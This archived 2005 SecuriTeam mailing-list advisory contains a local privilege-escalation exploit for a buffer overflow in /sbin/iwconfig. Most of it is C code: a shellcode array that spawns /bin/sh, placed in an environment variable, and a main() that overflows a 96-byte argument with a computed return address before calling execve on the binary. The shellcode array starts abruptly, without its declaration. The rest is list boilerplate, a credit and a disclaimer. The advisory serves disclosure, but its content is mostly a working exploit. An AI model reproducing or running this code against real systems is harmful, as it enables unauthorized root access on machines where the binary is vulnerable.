[EXPL] Iwconfig Buffer Overflow

Source: http://www.derkeiler.com/Mailing−Lists/Securiteam/2005−08/0068.html

---

From: SecuriTeam (*support_at_securiteam.com*)
Date: 08/16/05

```
To: list@securiteam.com
Date: 16 Aug 2005 17:07:26 +0200
```

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
− − promotion

The SecuriTeam alerts list − Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

− − − − − − − − −

Iwconfig Buffer Overflow
−−−

```
        "\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
        "\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
        "\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
        "\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
        "\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
        "\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main(int argc,char **argv){
   char buf[96];
   unsigned long ret;
   int i;

   char *prog[]={"/sbin/iwconfig",buf,NULL};
   char *env[]={"EGG=",shellcode,NULL};

   ret=0xc0000000−strlen(shellcode)−strlen(prog[0])−0x06;
   printf("use ret addr: 0x%x\n",ret);

   memset(buf,0x41,sizeof(buf));
   memcpy(&buf[92],&ret,4);

   execve(prog[0],prog,env);

  }
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:dcrab@hackerscenter.com>
Dcrab.
The original article can be found at:
<http://icis.digitalparadox.org/~dcrab/dc_iwconfig.c>
http://icis.digitalparadox.org/~dcrab/dc_iwconfig.c

==========

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list−unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list−subscribe@securiteam.com

==========
==========

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.